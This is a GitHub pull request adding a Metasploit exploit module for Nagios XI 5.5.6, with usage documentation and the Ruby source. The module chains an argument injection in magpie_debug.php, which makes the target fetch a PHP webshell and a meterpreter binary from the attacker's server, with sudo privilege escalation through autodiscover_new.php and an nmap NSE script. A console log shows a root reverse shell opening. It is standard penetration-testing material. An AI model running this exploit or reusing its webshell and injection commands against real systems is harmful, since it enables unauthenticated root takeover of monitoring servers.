Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Nagios XI 5.5.6 Root Remote Code Execution Module #11987

Merged
merged 4 commits into from
Jun 25, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
84 changes: 84 additions & 0 deletions documentation/modules/exploit/linux/http/nagios_xi_root_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
# Vulnerable Application

Nagios XI 5.5.6 Root Remote Code Execution

The exploit works as follows:
- A local HTTPS server is setup. When it is reached, this server responds with a payload.
- By crafting a malicious request, we make the target host send a request to our HTTPS server. Therefore, the local HTTPS server must be reachable from outside your private network (except if the Nagios server is in the same network as yours obviously), this is what the RSRVHOST and RSRVPORT options are for. The malicious request allows for file upload. A PHP webshell and a meterpreter executable are uploaded.
- A command is executed thanks to the webshell. This command elevates privileges and run the meterpreter executable, giving us a meterpreter session.

# Creating A Testing Environment

- Install a Ubuntu Linux LTS (I used 18.04 LTS for my tests) in a VM.
- Download Nagios XI 5.5.6 from the official website (https://www.nagios.com/downloads/nagios-xi/older-releases/).
- Follow the official instructions to install it on your Ubuntu VM (https://assets.nagios.com/downloads/nagiosxi/docs/Installing-Nagios-XI-Manually-on-Linux.pdf).

# Verification Steps

`use exploit/linux/http/nagios_xi_root_rce`
`set RHOSTS [IP]`
`set RSRVHOST [IP]`
`exploit`
A meterpreter session should have been opened successfully and you should be root

# Options

## RSRVHOST

IP at which your local HTTPS can be reached. Most of the time it will be a public IP (e.g. your router IP if you have port forwarding).

## RSRVPORT

Port that will forward to your local HTTPS server.

## SRVHOST

IP of your local HTTPS server (must be a local IP).

## SRVPORT

Port to listen to for your local HTTPS server.

# Scenarios

## Nagios 5.5.6 on Ubuntu 18.04 LTS

```
msf5 > use exploit/linux/http/nagios_xi_root_rce
msf5 exploit(linux/http/nagios_xi_root_rce) > set RHOSTS 192.168.0.57
RHOSTS => 192.168.0.57
msf5 exploit(linux/http/nagios_xi_root_rce) > set RSRVHOST 192.168.0.50
RSRVHOST => 192.168.0.50
msf5 exploit(linux/http/nagios_xi_root_rce) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.0.50:4444
[*] Using URL: https://0.0.0.0:8080/yXgRPrO9L8zIt
[*] Local IP: https://192.168.0.50:8080/yXgRPrO9L8zIt
[*] Server started.
[*] webshell.php uploaded with success!
[*] Using URL: https://0.0.0.0:8080/oDRVURAY82YcT
[*] Local IP: https://192.168.0.50:8080/oDRVURAY82YcT
[*] Server started.
[*] meterpreter uploaded with success!
[*] Sending stage (985320 bytes) to 192.168.0.57
[*] Meterpreter session 1 opened (192.168.0.50:4444 -> 192.168.0.57:33162) at 2019-06-16 23:44:34 +0100
[+] Deleted /usr/local/nagvis/share/webshell.php
[+] Deleted /usr/local/nagvis/share/meterpreter
[!] This exploit may require manual cleanup of '/var/tmp/shell.nse' on the target
[*] Server stopped.

msf5 exploit(linux/http/nagios_xi_root_rce) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.0.57
OS : Ubuntu 18.04 (Linux 4.18.0-21-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```
181 changes: 181 additions & 0 deletions modules/exploits/linux/http/nagios_xi_root_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,181 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => "Nagios XI Root Remote Code Execution",
'Description' => %q{
This module exploits two vulnerabilities in Nagios 5.5.6:
CVE 2018-15708 which allows for unauthenticated remote code execution
and CVE 2018–15710 which allows for local privilege escalation.
When combined, these two vulnerabilities give us a root reverse shell.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Lyne (@lynerc)', # First working exploit
'Guillaume André (@yaumn_)' # Metasploit module
],
'References' =>
[
['CVE', '2018-15708'],
['CVE', '2018-15710'],
['EDB', '46221'],
['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
'Privileged' => false,
'DisclosureDate' => "2018-11-14",
'DefaultTarget' => 0))

register_options(
[
OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])
])

@WRITABLE_PATHS = [
['/usr/local/nagvis/share', '/nagvis'],
['/var/www/html/nagiosql', '/nagiosql']
]
@writable_path_index = 0
@MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
@session_opened = false
end

def on_request_uri(cli, req)
if @current_payload == 'webshell.php'
send_response(cli, '<?php system($_GET[\'cmd\'])?>')
else
send_response(cli, payload.encoded_exe)
end
end

def primer
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH),
'vars_get' => {
'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " +
'-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}"
}
}, 5)

if !res || res.code != 200
print_error('Couldn\'t send malicious request to target.')
end
end

def check_upload
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@WRITABLE_PATHS[@writable_path_index][1] + "/#{@current_payload}")
}, 5)
if res && res.code == 200
print_status("#{@current_payload} uploaded with success!")
return true
else
print_error("Couldn't upload #{@current_payload}.")
return false
end
end

def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH)
}, 5)

if res && res.code == 200
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def exploit
all_files_uploaded = false

# Upload useful files on the target
for i in 0..@WRITABLE_PATHS.size
@writable_path_index = i
for filename in ['webshell.php', 'meterpreter']
@current_payload = filename
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
if !check_upload
break
elsif filename == 'meterpreter'
all_files_uploaded = true
end
end
end
if all_files_uploaded
break
end
end

meterpreter_path = @WRITABLE_PATHS[@writable_path_index][0] + '/meterpreter'

register_file_for_cleanup(
@WRITABLE_PATHS[@writable_path_index][0] + '/webshell.php',
meterpreter_path,
'/var/tmp/shell.nse'
)

# Commands to escalate privileges, some will work and others won't
# depending on the Nagios version
cmds = [
"chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
"components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
"echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/shell.nse " \
"&& sudo nmap --script /var/tmp/shell.nse"
]

# Try to launch root shell
for cmd in cmds
res = send_request_cgi(
{
'uri' => normalize_uri(@WRITABLE_PATHS[@writable_path_index][1] + '/webshell.php'),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
}, 5)

if !res && session_created?
break
end
print_status('Couldn\'t get remote root shell, trying another method')
end
end
end